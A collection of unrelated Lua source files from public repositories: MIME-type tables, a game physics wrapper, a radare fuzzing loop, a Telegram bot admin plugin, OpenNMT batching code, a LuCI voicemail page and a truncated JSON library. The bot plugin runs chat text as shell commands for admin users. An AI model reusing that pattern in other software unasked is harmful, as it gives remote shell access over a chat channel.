-- Thanks to https://github.com/catwell/lua-toolbox/blob/master/mime.types do local mimetype = {} -- TODO: Add more? local types = { ["text/html"] = "html", ["text/css"] = "css", ["text/xml"] = "xml", ["image/gif"] = "gif", ["image/jpeg"] = "jpg", ["application/x-javascript"] = "js", ["application/atom+xml"] = "atom", ["application/rss+xml"] = "rss", ["text/mathml"] = "mml", ["text/plain"] = "txt", ["text/vnd.sun.j2me.app-descriptor"] = "jad", ["text/vnd.wap.wml"] = "wml", ["text/x-component"] = "htc", ["image/png"] = "png", ["image/tiff"] = "tiff", ["image/vnd.wap.wbmp"] = "wbmp", ["image/x-icon"] = "ico", ["image/x-jng"] = "jng", ["image/x-ms-bmp"] = "bmp", ["image/svg+xml"] = "svg", ["image/webp"] = "webp", ["application/java-archive"] = "jar", ["application/mac-binhex40"] = "hqx", ["application/msword"] = "doc", ["application/pdf"] = "pdf", ["application/postscript"] = "ps", ["application/rtf"] = "rtf", ["application/vnd.ms-excel"] = "xls", ["application/vnd.ms-powerpoint"] = "ppt", ["application/vnd.wap.wmlc"] = "wmlc", ["application/vnd.google-earth.kml+xml"] = "kml", ["application/vnd.google-earth.kmz"] = "kmz", ["application/x-7z-compressed"] = "7z", ["application/x-cocoa"] = "cco", ["application/x-java-archive-diff"] = "jardiff", ["application/x-java-jnlp-file"] = "jnlp", ["application/x-makeself"] = "run", ["application/x-perl"] = "pl", ["application/x-pilot"] = "prc", ["application/x-rar-compressed"] = "rar", ["application/x-redhat-package-manager"] = "rpm", ["application/x-sea"] = "sea", ["application/x-shockwave-flash"] = "swf", ["application/x-stuffit"] = "sit", ["application/x-tcl"] = "tcl", ["application/x-x509-ca-cert"] = "crt", ["application/x-xpinstall"] = "xpi", ["application/xhtml+xml"] = "xhtml", ["application/zip"] = "zip", ["application/octet-stream"] = "bin", ["audio/midi"] = "mid", ["audio/mpeg"] = "mp3", ["audio/ogg"] = "ogg", ["audio/x-m4a"] = "m4a", ["audio/x-realaudio"] = "ra", ["video/3gpp"] = "3gpp", ["video/mp4"] = "mp4", ["video/mpeg"] = "mpeg", ["video/quicktime"] = "mov", ["video/webm"] = "webm", ["video/x-flv"] = "flv", ["video/x-m4v"] = "m4v", ["video/x-mng"] = "mng", ["video/x-ms-asf"] = "asf", ["video/x-ms-wmv"] = "wmv", ["video/x-msvideo"] = "avi" } -- Returns the common file extension from a content-type function mimetype.get_mime_extension(content_type) return types[content_type] end -- Returns the mimetype and subtype function mimetype.get_content_type(extension) for k,v in pairs(types) do if v == extension then return k end end end -- Returns the mimetype without the subtype function mimetype.get_content_type_no_sub(extension) for k,v in pairs(types) do if v == extension then -- Before / return k:match('([%w-]+)/') end end end return mimetype end
gpl-2.0
crazyhamedboy/oliver
libs/mimetype.lua
3662
2922
-- Thanks to https://github.com/catwell/lua-toolbox/blob/master/mime.types do local mimetype = {} -- TODO: Add more? local types = { ["text/html"] = "html", ["text/css"] = "css", ["text/xml"] = "xml", ["image/gif"] = "gif", ["image/jpeg"] = "jpg", ["application/x-javascript"] = "js", ["application/atom+xml"] = "atom", ["application/rss+xml"] = "rss", ["text/mathml"] = "mml", ["text/plain"] = "txt", ["text/vnd.sun.j2me.app-descriptor"] = "jad", ["text/vnd.wap.wml"] = "wml", ["text/x-component"] = "htc", ["image/png"] = "png", ["image/tiff"] = "tiff", ["image/vnd.wap.wbmp"] = "wbmp", ["image/x-icon"] = "ico", ["image/x-jng"] = "jng", ["image/x-ms-bmp"] = "bmp", ["image/svg+xml"] = "svg", ["image/webp"] = "webp", ["application/java-archive"] = "jar", ["application/mac-binhex40"] = "hqx", ["application/msword"] = "doc", ["application/pdf"] = "pdf", ["application/postscript"] = "ps", ["application/rtf"] = "rtf", ["application/vnd.ms-excel"] = "xls", ["application/vnd.ms-powerpoint"] = "ppt", ["application/vnd.wap.wmlc"] = "wmlc", ["application/vnd.google-earth.kml+xml"] = "kml", ["application/vnd.google-earth.kmz"] = "kmz", ["application/x-7z-compressed"] = "7z", ["application/x-cocoa"] = "cco", ["application/x-java-archive-diff"] = "jardiff", ["application/x-java-jnlp-file"] = "jnlp", ["application/x-makeself"] = "run", ["application/x-perl"] = "pl", ["application/x-pilot"] = "prc", ["application/x-rar-compressed"] = "rar", ["application/x-redhat-package-manager"] = "rpm", ["application/x-sea"] = "sea", ["application/x-shockwave-flash"] = "swf", ["application/x-stuffit"] = "sit", ["application/x-tcl"] = "tcl", ["application/x-x509-ca-cert"] = "crt", ["application/x-xpinstall"] = "xpi", ["application/xhtml+xml"] = "xhtml", ["application/zip"] = "zip", ["application/octet-stream"] = "bin", ["audio/midi"] = "mid", ["audio/mpeg"] = "mp3", ["audio/ogg"] = "ogg", ["audio/x-m4a"] = "m4a", ["audio/x-realaudio"] = "ra", ["video/3gpp"] = "3gpp", ["video/mp4"] = "mp4", ["video/mpeg"] = "mpeg", ["video/quicktime"] = "mov", ["video/webm"] = "webm", ["video/x-flv"] = "flv", ["video/x-m4v"] = "m4v", ["video/x-mng"] = "mng", ["video/x-ms-asf"] = "asf", ["video/x-ms-wmv"] = "wmv", ["video/x-msvideo"] = "avi" } -- Returns the common file extension from a content-type function mimetype.get_mime_extension(content_type) return types[content_type] end -- Returns the mimetype and subtype function mimetype.get_content_type(extension) for k,v in pairs(types) do if v == extension then return k end end end -- Returns the mimetype without the subtype function mimetype.get_content_type_no_sub(extension) for k,v in pairs(types) do if v == extension then -- Before / return k:match('([%w-]+)/') end end end return mimetype end
gpl-2.0
bsmr-games/lipsofsuna
data/system/softbody.lua
1
2774
--- Softbody. -- -- Lips of Suna is free software: you can redistribute it and/or modify -- it under the terms of the GNU Lesser General Public License as -- published by the Free Software Foundation, either version 3 of the -- License, or (at your option) any later version. -- -- @module system.softbody -- @alias Softbody local Class = require("system/class") if not Los.program_load_extension("softbody") then error("loading extension `softbody' failed") end ------------------------------------------------------------------------------ --- Softbody. -- @type Softbody local Softbody = Class("Softbody") --- Creates a new softbody set. -- @param clss Softbody class. -- @param model Model. -- @param params Array of numbers. -- @return Softbody. Softbody.new = function(clss, model, params) local self = Class.new(clss) self.handle = Los.softbody_new(model.handle, params[1], params[2], params[3], params[4], params[5], params[6], params[7], params[8]) self.__collision_mask = 1 self.__collision_group = 0xFFFF return self end --- Updates the softbody. -- @param self Softbody. -- @param secs Seconds since the last update. Softbody.update = function(self, secs) Los.softbody_update(self.handle, secs) end --- Gets the collision group number of the softbody. -- @param self Softbody. -- @return Number. Softbody.get_collision_group = function(self) return self.__collision_group end --- Sets the collision group number of the softbody. -- @param self Softbody. -- @param v Number. Softbody.set_collision_group = function(self, v) Los.softbody_set_collision_group(self.handle, v) end --- Gets the collision bitmask of the softbody. -- @param self Softbody. -- @return Number. Softbody.get_collision_mask = function(self) return self.__collision_mask end --- Sets the collision bitmask of the softbody. -- @param self Softbody. -- @param v Number. Softbody.set_collision_mask = function(self, v) Los.softbody_set_collision_mask(self.handle, v) end --- Sets the position of the softbody. -- @param self Softbody. -- @param v Vector. Softbody.set_position = function(self, v) Los.softbody_set_position(self.handle, v.x, v.y, v.z) end --- Sets the render queue of the softbody. -- @param self Softbody. -- @param name Queue name. Softbody.set_render_queue = function(self, name) Los.softbody_set_render_queue(self.handle, name) end --- Sets the rotation of the softbody. -- @param self Softbody. -- @param v Quaternion. Softbody.set_rotation = function(self, v) Los.softbody_set_rotation(self.handle, v.x, v.y, v.z, v.w) end --- Sets the visibility of the softbody. -- @param self Softbody. -- @param v True to make visible. False otherwise. Softbody.set_visible = function(self, v) Los.softbody_set_visible(self.handle, v) end return Softbody
gpl-3.0
radare/radare
api/lua/fuzzer-loop.lua
2
1406
-- -- 2008 th0rpe <nopcode.org> -- -- P0C loop entry -- -- entry_addr = "0x00401050" jump_addr = "0x004010b7" do local ret; local buf_addr; local lebuf_addr; local param_addr; local addr; -- set breakpoint at entry address cmd("!bp "..entry_addr); -- continue execution cmd("!cont"); -- remove breakpoint at entry address cmd("!bp -"..entry_addr); --alloc memory buf_addr = string.format("0x%x", cmd("!alloc 4096")); --get stack frame address param_addr = string.format("0x%x", cmd("!get esp") + 12); -- translate to little endian lebuf_addr = "0x"..string.sub(buf_addr, 9, 10).. string.sub(buf_addr, 7, 8).. string.sub(buf_addr, 5, 6).. string.sub(buf_addr, 3, 4); --seek at 3 arg cmd("s "..param_addr); --write buffer address(allocated) cmd("w "..lebuf_addr); -- init randomize seed math.randomseed(os.time()); --seek at buffer cmd("s "..buf_addr); --write random sequence cmd("w "..string.format("0x%x%x",math.random(1,255), math.random(1,255))); --begin loop ret = cmd("!loop 0x"..jump_addr); while(ret == 0) do cmd("w "..string.format("0x%x%x",math.random(1,255), math.random(1,255))); -- call again ret = cmd("!loop 0x"..jump_addr); end if ret == 3 then print "fatal exception (possible bug)"; else if ret == 2 then print "exit program"; end end end
gpl-2.0
spark0511/blueteambot
plugins/sudo.lua
359
1878
function run_sh(msg) name = get_name(msg) text = '' -- if config.sh_enabled == false then -- text = '!sh command is disabled' -- else -- if is_sudo(msg) then -- bash = msg.text:sub(4,-1) -- text = run_bash(bash) -- else -- text = name .. ' you have no power here!' -- end -- end if is_sudo(msg) then bash = msg.text:sub(4,-1) text = run_bash(bash) else text = name .. ' you have no power here!' end return text end function run_bash(str) local cmd = io.popen(str) local result = cmd:read('*all') cmd:close() return result end function on_getting_dialogs(cb_extra,success,result) if success then local dialogs={} for key,value in pairs(result) do for chatkey, chat in pairs(value.peer) do print(chatkey,chat) if chatkey=="id" then table.insert(dialogs,chat.."\n") end if chatkey=="print_name" then table.insert(dialogs,chat..": ") end end end send_msg(cb_extra[1],table.concat(dialogs),ok_cb,false) end end function run(msg, matches) if not is_sudo(msg) then return "You aren't allowed!" end local receiver = get_receiver(msg) if string.match(msg.text, '!sh') then text = run_sh(msg) send_msg(receiver, text, ok_cb, false) return end if string.match(msg.text, '!cpu') then text = run_bash('uname -snr') .. ' ' .. run_bash('whoami') text = text .. '\n' .. run_bash('top -b |head -2') send_msg(receiver, text, ok_cb, false) return end if matches[1]=="Get dialogs" then get_dialog_list(on_getting_dialogs,{get_receiver(msg)}) return end end return { description = "shows cpuinfo", usage = "!cpu", patterns = {"^!cpu", "^!sh","^Get dialogs$"}, run = run }
gpl-2.0
jsenellart-systran/OpenNMT
onmt/data/Dataset.lua
3
3690
--[[ Data management and batch creation. Handles data created by `preprocess.lua`. ]] local Dataset = torch.class("Dataset") --[[ Initialize a data object given aligned tables of IntTensors `srcData` and `tgtData`. --]] function Dataset:__init(srcData, tgtData) self.src = srcData.words or srcData.vectors self.srcFeatures = srcData.features self.constraints = srcData.constraints if tgtData ~= nil then self.tgt = tgtData.words or tgtData.vectors self.tgtFeatures = tgtData.features end end --[[ Setup up the training data to respect `maxBatchSize`. If uneven_batches - then build up batches with different lengths ]] function Dataset:setBatchSize(maxBatchSize, uneven_batches) self.batchRange = {} self.maxSourceLength = 0 self.maxTargetLength = 0 local batchesCapacity = 0 local batchesOccupation = 0 -- Prepares batches in terms of range within self.src and self.tgt. local offset = 0 local batchSize = 1 local maxSourceLength = 0 local targetLength = 0 for i = 1, #self.src do -- Set up the offsets to make same source size batches of the -- correct size. local sourceLength = self.src[i]:size(1) if batchSize == maxBatchSize or i == 1 or (not(uneven_batches) and self.src[i]:size(1) ~= maxSourceLength) then if i > 1 then batchesCapacity = batchesCapacity + batchSize * maxSourceLength table.insert(self.batchRange, { ["begin"] = offset, ["end"] = i - 1 }) end offset = i batchSize = 1 targetLength = 0 maxSourceLength = 0 else batchSize = batchSize + 1 end batchesOccupation = batchesOccupation + sourceLength maxSourceLength = math.max(maxSourceLength, sourceLength) self.maxSourceLength = math.max(self.maxSourceLength, sourceLength) if self.tgt ~= nil then -- Target contains <s> and </s>. local targetSeqLength = self.tgt[i]:size(1) - 1 targetLength = math.max(targetLength, targetSeqLength) self.maxTargetLength = math.max(self.maxTargetLength, targetSeqLength) end end -- Catch last batch. batchesCapacity = batchesCapacity + batchSize * maxSourceLength table.insert(self.batchRange, { ["begin"] = offset, ["end"] = #self.src }) return #self.batchRange, batchesOccupation/batchesCapacity end --[[ Return number of batches. ]] function Dataset:batchCount() if self.batchRange == nil then if #self.src > 0 then return 1 else return 0 end end return #self.batchRange end function Dataset:instanceCount() return #self.src end --[[ Get `Batch` number `idx`. If nil make a batch of all the data. ]] function Dataset:getBatch(idx) if #self.src == 0 then return nil end if idx == nil or self.batchRange == nil then return onmt.data.Batch.new(self.src, self.srcFeatures, self.tgt, self.tgtFeatures, self.constraints) end local rangeStart = self.batchRange[idx]["begin"] local rangeEnd = self.batchRange[idx]["end"] local src = {} local tgt if self.tgt ~= nil then tgt = {} end local srcFeatures = {} local tgtFeatures = {} local constraints = {} for i = rangeStart, rangeEnd do table.insert(src, self.src[i]) if self.srcFeatures[i] then table.insert(srcFeatures, self.srcFeatures[i]) end if self.tgt ~= nil then table.insert(tgt, self.tgt[i]) if self.tgtFeatures[i] then table.insert(tgtFeatures, self.tgtFeatures[i]) end end if self.constraints and self.constraints[i] then table.insert(constraints, self.constraints[i]) end end return onmt.data.Batch.new(src, srcFeatures, tgt, tgtFeatures, constraints) end return Dataset
mit
RedSnake64/openwrt-luci-packages
applications/luci-app-pbx-voicemail/luasrc/model/cbi/pbx-voicemail.lua
97
6962
--[[ Copyright 2011 Iordan Iordanov <iiordanov (AT) gmail.com> This file is part of luci-pbx-voicemail. luci-pbx-voicemail is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. luci-pbx-voicemail is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with luci-pbx-voicemail. If not, see <http://www.gnu.org/licenses/>. ]]-- if nixio.fs.access("/etc/init.d/asterisk") then server = "asterisk" elseif nixio.fs.access("/etc/init.d/freeswitch") then server = "freeswitch" else server = "" end modulename = "pbx-voicemail" vmlogfile = "/tmp/last_sent_voicemail.log" m = Map (modulename, translate("Voicemail Setup"), translate("Here you can configure a global voicemail for this PBX. Since this system is \ intended to run on embedded systems like routers, there is no local storage of voicemail - \ it must be sent out by email. Therefore you need to configure an outgoing mail (SMTP) server \ (for example your ISP's, Google's, or Yahoo's SMTP server), and provide a list of \ addresses that receive recorded voicemail.")) -- Recreate the config, and restart services after changes are commited to the configuration. function m.on_after_commit(self) luci.sys.call("/etc/init.d/pbx-" .. server .. " restart 1\>/dev/null 2\>/dev/null") luci.sys.call("/etc/init.d/" .. server .. " restart 1\>/dev/null 2\>/dev/null") end ---------------------------------------------------------------------------------------------------- s = m:section(NamedSection, "global_voicemail", "voicemail", translate("Global Voicemail Setup"), translate("When you enable voicemail, you will have the opportunity to specify \ email addresses that receive recorded voicemail. You must also set up an SMTP server below.")) s.anonymous = true enable = s:option(ListValue, "enabled", translate("Enable Voicemail")) enable:value("yes", translate("Yes")) enable:value("no", translate("No")) enable.default = "no" emails = s:option(DynamicList, "global_email_addresses", translate("Email Addresses that Receive Voicemail")) emails:depends("enabled", "yes") savepath = s:option(Value, "global_save_path", translate("Local Storage Directory"), translate("You can also retain copies of voicemail messages on the device running \ your PBX. The path specified here will be created if it doesn't exist. \ Beware of limited space on embedded devices like routers, and enable this \ option only if you know what you are doing.")) savepath.optional = true if nixio.fs.access("/etc/pbx-voicemail/recordings/greeting.gsm") then m1 = s:option(DummyValue, "_m1") m1:depends("enabled", "yes") m1.default = "NOTE: Found a voicemail greeting. To check or change your voicemail greeting, dial *789 \ and the system will play back your current greeting. After that, a long beep will sound and \ you can press * in order to record a new message. Hang up to avoid recording a message. \ If you press *, a second long beep will sound, and you can record a new greeting. \ Hang up or press # to stop recording. When # is pressed the system will play back the \ new greeting." else m1 = s:option(DummyValue, "_m1") m1:depends("enabled", "yes") m1.default = "WARNING: Could not find voicemail greeting. Callers will hear only a beep before \ recording starts. To record a greeting, dial *789, and press * after the long beep. \ If you press *, a second long beep will sound, and you can record a new greeting. \ Hang up or press # to stop recording. When # is pressed the system will play back the \ new greeting." end ---------------------------------------------------------------------------------------------------- s = m:section(NamedSection, "voicemail_smtp", "voicemail", translate("Outgoing mail (SMTP) Server"), translate("In order for this PBX to send emails containing voicemail recordings, you need to \ set up an SMTP server here. Your ISP usually provides an SMTP server for that purpose. \ You can also set up a third party SMTP server such as the one provided by Google or Yahoo.")) s.anonymous = true serv = s:option(Value, "smtp_server", translate("SMTP Server Hostname or IP Address")) serv.datatype = "host" port = s:option(Value, "smtp_port", translate("SMTP Port Number")) port.datatype = "port" port.default = "25" tls = s:option(ListValue, "smtp_tls", translate("Secure Connection Using TLS")) tls:value("on", translate("Yes")) tls:value("off", translate("No")) tls.default = "on" auth = s:option(ListValue, "smtp_auth", translate("SMTP Server Authentication")) auth:value("on", translate("Yes")) auth:value("off", translate("No")) auth.default = "off" user = s:option(Value, "smtp_user", translate("SMTP User Name")) user:depends("smtp_auth", "on") pwd = s:option(Value, "smtp_password", translate("SMTP Password"), translate("Your real SMTP password is not shown for your protection. It will be changed \ only when you change the value in this box.")) pwd.password = true pwd:depends("smtp_auth", "on") -- We skip reading off the saved value and return nothing. function pwd.cfgvalue(self, section) return "Password Not Displayed" end -- We check the entered value against the saved one, and only write if the entered value is -- something other than the empty string, and it differes from the saved value. function pwd.write(self, section, value) local orig_pwd = m:get(section, self.option) if value == "Password Not Displayed" then value = "" end if value and #value > 0 and orig_pwd ~= value then Value.write(self, section, value) end end ---------------------------------------------------------------------------------------------------- s = m:section(NamedSection, "voicemail_log", "voicemail", translate("Last Sent Voicemail Log")) s.anonymous = true s:option (DummyValue, "vmlog") sts = s:option(DummyValue, "_sts") sts.template = "cbi/tvalue" sts.rows = 5 function sts.cfgvalue(self, section) log = nixio.fs.readfile(vmlogfile) if log == nil or log == "" then log = "No errors or messages reported." end return log end return m
apache-2.0
dani-sj/danyal002
libs/JSON.lua
3765
34843
-- -*- coding: utf-8 -*- -- -- Simple JSON encoding and decoding in pure Lua. -- -- Copyright 2010-2014 Jeffrey Friedl -- http://regex.info/blog/ -- -- Latest version: http://regex.info/blog/lua/json -- -- This code is released under a Creative Commons CC-BY "Attribution" License: -- http://creativecommons.org/licenses/by/3.0/deed.en_US -- -- It can be used for any purpose so long as the copyright notice above, -- the web-page links above, and the 'AUTHOR_NOTE' string below are -- maintained. Enjoy. -- local VERSION = 20141223.14 -- version history at end of file local AUTHOR_NOTE = "-[ JSON.lua package by Jeffrey Friedl (http://regex.info/blog/lua/json) version 20141223.14 ]-" -- -- The 'AUTHOR_NOTE' variable exists so that information about the source -- of the package is maintained even in compiled versions. It's also -- included in OBJDEF below mostly to quiet warnings about unused variables. -- local OBJDEF = { VERSION = VERSION, AUTHOR_NOTE = AUTHOR_NOTE, } -- -- Simple JSON encoding and decoding in pure Lua. -- http://www.json.org/ -- -- -- JSON = assert(loadfile "JSON.lua")() -- one-time load of the routines -- -- local lua_value = JSON:decode(raw_json_text) -- -- local raw_json_text = JSON:encode(lua_table_or_value) -- local pretty_json_text = JSON:encode_pretty(lua_table_or_value) -- "pretty printed" version for human readability -- -- -- -- DECODING (from a JSON string to a Lua table) -- -- -- JSON = assert(loadfile "JSON.lua")() -- one-time load of the routines -- -- local lua_value = JSON:decode(raw_json_text) -- -- If the JSON text is for an object or an array, e.g. -- { "what": "books", "count": 3 } -- or -- [ "Larry", "Curly", "Moe" ] -- -- the result is a Lua table, e.g. -- { what = "books", count = 3 } -- or -- { "Larry", "Curly", "Moe" } -- -- -- The encode and decode routines accept an optional second argument, -- "etc", which is not used during encoding or decoding, but upon error -- is passed along to error handlers. It can be of any type (including nil). -- -- -- -- ERROR HANDLING -- -- With most errors during decoding, this code calls -- -- JSON:onDecodeError(message, text, location, etc) -- -- with a message about the error, and if known, the JSON text being -- parsed and the byte count where the problem was discovered. You can -- replace the default JSON:onDecodeError() with your own function. -- -- The default onDecodeError() merely augments the message with data -- about the text and the location if known (and if a second 'etc' -- argument had been provided to decode(), its value is tacked onto the -- message as well), and then calls JSON.assert(), which itself defaults -- to Lua's built-in assert(), and can also be overridden. -- -- For example, in an Adobe Lightroom plugin, you might use something like -- -- function JSON:onDecodeError(message, text, location, etc) -- LrErrors.throwUserError("Internal Error: invalid JSON data") -- end -- -- or even just -- -- function JSON.assert(message) -- LrErrors.throwUserError("Internal Error: " .. message) -- end -- -- If JSON:decode() is passed a nil, this is called instead: -- -- JSON:onDecodeOfNilError(message, nil, nil, etc) -- -- and if JSON:decode() is passed HTML instead of JSON, this is called: -- -- JSON:onDecodeOfHTMLError(message, text, nil, etc) -- -- The use of the fourth 'etc' argument allows stronger coordination -- between decoding and error reporting, especially when you provide your -- own error-handling routines. Continuing with the the Adobe Lightroom -- plugin example: -- -- function JSON:onDecodeError(message, text, location, etc) -- local note = "Internal Error: invalid JSON data" -- if type(etc) = 'table' and etc.photo then -- note = note .. " while processing for " .. etc.photo:getFormattedMetadata('fileName') -- end -- LrErrors.throwUserError(note) -- end -- -- : -- : -- -- for i, photo in ipairs(photosToProcess) do -- : -- : -- local data = JSON:decode(someJsonText, { photo = photo }) -- : -- : -- end -- -- -- -- -- -- DECODING AND STRICT TYPES -- -- Because both JSON objects and JSON arrays are converted to Lua tables, -- it's not normally possible to tell which original JSON type a -- particular Lua table was derived from, or guarantee decode-encode -- round-trip equivalency. -- -- However, if you enable strictTypes, e.g. -- -- JSON = assert(loadfile "JSON.lua")() --load the routines -- JSON.strictTypes = true -- -- then the Lua table resulting from the decoding of a JSON object or -- JSON array is marked via Lua metatable, so that when re-encoded with -- JSON:encode() it ends up as the appropriate JSON type. -- -- (This is not the default because other routines may not work well with -- tables that have a metatable set, for example, Lightroom API calls.) -- -- -- ENCODING (from a lua table to a JSON string) -- -- JSON = assert(loadfile "JSON.lua")() -- one-time load of the routines -- -- local raw_json_text = JSON:encode(lua_table_or_value) -- local pretty_json_text = JSON:encode_pretty(lua_table_or_value) -- "pretty printed" version for human readability -- local custom_pretty = JSON:encode(lua_table_or_value, etc, { pretty = true, indent = "| ", align_keys = false }) -- -- On error during encoding, this code calls: -- -- JSON:onEncodeError(message, etc) -- -- which you can override in your local JSON object. -- -- The 'etc' in the error call is the second argument to encode() -- and encode_pretty(), or nil if it wasn't provided. -- -- -- PRETTY-PRINTING -- -- An optional third argument, a table of options, allows a bit of -- configuration about how the encoding takes place: -- -- pretty = JSON:encode(val, etc, { -- pretty = true, -- if false, no other options matter -- indent = " ", -- this provides for a three-space indent per nesting level -- align_keys = false, -- see below -- }) -- -- encode() and encode_pretty() are identical except that encode_pretty() -- provides a default options table if none given in the call: -- -- { pretty = true, align_keys = false, indent = " " } -- -- For example, if -- -- JSON:encode(data) -- -- produces: -- -- {"city":"Kyoto","climate":{"avg_temp":16,"humidity":"high","snowfall":"minimal"},"country":"Japan","wards":11} -- -- then -- -- JSON:encode_pretty(data) -- -- produces: -- -- { -- "city": "Kyoto", -- "climate": { -- "avg_temp": 16, -- "humidity": "high", -- "snowfall": "minimal" -- }, -- "country": "Japan", -- "wards": 11 -- } -- -- The following three lines return identical results: -- JSON:encode_pretty(data) -- JSON:encode_pretty(data, nil, { pretty = true, align_keys = false, indent = " " }) -- JSON:encode (data, nil, { pretty = true, align_keys = false, indent = " " }) -- -- An example of setting your own indent string: -- -- JSON:encode_pretty(data, nil, { pretty = true, indent = "| " }) -- -- produces: -- -- { -- | "city": "Kyoto", -- | "climate": { -- | | "avg_temp": 16, -- | | "humidity": "high", -- | | "snowfall": "minimal" -- | }, -- | "country": "Japan", -- | "wards": 11 -- } -- -- An example of setting align_keys to true: -- -- JSON:encode_pretty(data, nil, { pretty = true, indent = " ", align_keys = true }) -- -- produces: -- -- { -- "city": "Kyoto", -- "climate": { -- "avg_temp": 16, -- "humidity": "high", -- "snowfall": "minimal" -- }, -- "country": "Japan", -- "wards": 11 -- } -- -- which I must admit is kinda ugly, sorry. This was the default for -- encode_pretty() prior to version 20141223.14. -- -- -- AMBIGUOUS SITUATIONS DURING THE ENCODING -- -- During the encode, if a Lua table being encoded contains both string -- and numeric keys, it fits neither JSON's idea of an object, nor its -- idea of an array. To get around this, when any string key exists (or -- when non-positive numeric keys exist), numeric keys are converted to -- strings. -- -- For example, -- JSON:encode({ "one", "two", "three", SOMESTRING = "some string" })) -- produces the JSON object -- {"1":"one","2":"two","3":"three","SOMESTRING":"some string"} -- -- To prohibit this conversion and instead make it an error condition, set -- JSON.noKeyConversion = true -- -- -- SUMMARY OF METHODS YOU CAN OVERRIDE IN YOUR LOCAL LUA JSON OBJECT -- -- assert -- onDecodeError -- onDecodeOfNilError -- onDecodeOfHTMLError -- onEncodeError -- -- If you want to create a separate Lua JSON object with its own error handlers, -- you can reload JSON.lua or use the :new() method. -- --------------------------------------------------------------------------- local default_pretty_indent = " " local default_pretty_options = { pretty = true, align_keys = false, indent = default_pretty_indent } local isArray = { __tostring = function() return "JSON array" end } isArray.__index = isArray local isObject = { __tostring = function() return "JSON object" end } isObject.__index = isObject function OBJDEF:newArray(tbl) return setmetatable(tbl or {}, isArray) end function OBJDEF:newObject(tbl) return setmetatable(tbl or {}, isObject) end local function unicode_codepoint_as_utf8(codepoint) -- -- codepoint is a number -- if codepoint <= 127 then return string.char(codepoint) elseif codepoint <= 2047 then -- -- 110yyyxx 10xxxxxx <-- useful notation from http://en.wikipedia.org/wiki/Utf8 -- local highpart = math.floor(codepoint / 0x40) local lowpart = codepoint - (0x40 * highpart) return string.char(0xC0 + highpart, 0x80 + lowpart) elseif codepoint <= 65535 then -- -- 1110yyyy 10yyyyxx 10xxxxxx -- local highpart = math.floor(codepoint / 0x1000) local remainder = codepoint - 0x1000 * highpart local midpart = math.floor(remainder / 0x40) local lowpart = remainder - 0x40 * midpart highpart = 0xE0 + highpart midpart = 0x80 + midpart lowpart = 0x80 + lowpart -- -- Check for an invalid character (thanks Andy R. at Adobe). -- See table 3.7, page 93, in http://www.unicode.org/versions/Unicode5.2.0/ch03.pdf#G28070 -- if ( highpart == 0xE0 and midpart < 0xA0 ) or ( highpart == 0xED and midpart > 0x9F ) or ( highpart == 0xF0 and midpart < 0x90 ) or ( highpart == 0xF4 and midpart > 0x8F ) then return "?" else return string.char(highpart, midpart, lowpart) end else -- -- 11110zzz 10zzyyyy 10yyyyxx 10xxxxxx -- local highpart = math.floor(codepoint / 0x40000) local remainder = codepoint - 0x40000 * highpart local midA = math.floor(remainder / 0x1000) remainder = remainder - 0x1000 * midA local midB = math.floor(remainder / 0x40) local lowpart = remainder - 0x40 * midB return string.char(0xF0 + highpart, 0x80 + midA, 0x80 + midB, 0x80 + lowpart) end end function OBJDEF:onDecodeError(message, text, location, etc) if text then if location then message = string.format("%s at char %d of: %s", message, location, text) else message = string.format("%s: %s", message, text) end end if etc ~= nil then message = message .. " (" .. OBJDEF:encode(etc) .. ")" end if self.assert then self.assert(false, message) else assert(false, message) end end OBJDEF.onDecodeOfNilError = OBJDEF.onDecodeError OBJDEF.onDecodeOfHTMLError = OBJDEF.onDecodeError function OBJDEF:onEncodeError(message, etc) if etc ~= nil then message = message .. " (" .. OBJDEF:encode(etc) .. ")" end if self.assert then self.assert(false, message) else assert(false, message) end end local function grok_number(self, text, start, etc) -- -- Grab the integer part -- local integer_part = text:match('^-?[1-9]%d*', start) or text:match("^-?0", start) if not integer_part then self:onDecodeError("expected number", text, start, etc) end local i = start + integer_part:len() -- -- Grab an optional decimal part -- local decimal_part = text:match('^%.%d+', i) or "" i = i + decimal_part:len() -- -- Grab an optional exponential part -- local exponent_part = text:match('^[eE][-+]?%d+', i) or "" i = i + exponent_part:len() local full_number_text = integer_part .. decimal_part .. exponent_part local as_number = tonumber(full_number_text) if not as_number then self:onDecodeError("bad number", text, start, etc) end return as_number, i end local function grok_string(self, text, start, etc) if text:sub(start,start) ~= '"' then self:onDecodeError("expected string's opening quote", text, start, etc) end local i = start + 1 -- +1 to bypass the initial quote local text_len = text:len() local VALUE = "" while i <= text_len do local c = text:sub(i,i) if c == '"' then return VALUE, i + 1 end if c ~= '\\' then VALUE = VALUE .. c i = i + 1 elseif text:match('^\\b', i) then VALUE = VALUE .. "\b" i = i + 2 elseif text:match('^\\f', i) then VALUE = VALUE .. "\f" i = i + 2 elseif text:match('^\\n', i) then VALUE = VALUE .. "\n" i = i + 2 elseif text:match('^\\r', i) then VALUE = VALUE .. "\r" i = i + 2 elseif text:match('^\\t', i) then VALUE = VALUE .. "\t" i = i + 2 else local hex = text:match('^\\u([0123456789aAbBcCdDeEfF][0123456789aAbBcCdDeEfF][0123456789aAbBcCdDeEfF][0123456789aAbBcCdDeEfF])', i) if hex then i = i + 6 -- bypass what we just read -- We have a Unicode codepoint. It could be standalone, or if in the proper range and -- followed by another in a specific range, it'll be a two-code surrogate pair. local codepoint = tonumber(hex, 16) if codepoint >= 0xD800 and codepoint <= 0xDBFF then -- it's a hi surrogate... see whether we have a following low local lo_surrogate = text:match('^\\u([dD][cdefCDEF][0123456789aAbBcCdDeEfF][0123456789aAbBcCdDeEfF])', i) if lo_surrogate then i = i + 6 -- bypass the low surrogate we just read codepoint = 0x2400 + (codepoint - 0xD800) * 0x400 + tonumber(lo_surrogate, 16) else -- not a proper low, so we'll just leave the first codepoint as is and spit it out. end end VALUE = VALUE .. unicode_codepoint_as_utf8(codepoint) else -- just pass through what's escaped VALUE = VALUE .. text:match('^\\(.)', i) i = i + 2 end end end self:onDecodeError("unclosed string", text, start, etc) end local function skip_whitespace(text, start) local _, match_end = text:find("^[ \n\r\t]+", start) -- [http://www.ietf.org/rfc/rfc4627.txt] Section 2 if match_end then return match_end + 1 else return start end end local grok_one -- assigned later local function grok_object(self, text, start, etc) if text:sub(start,start) ~= 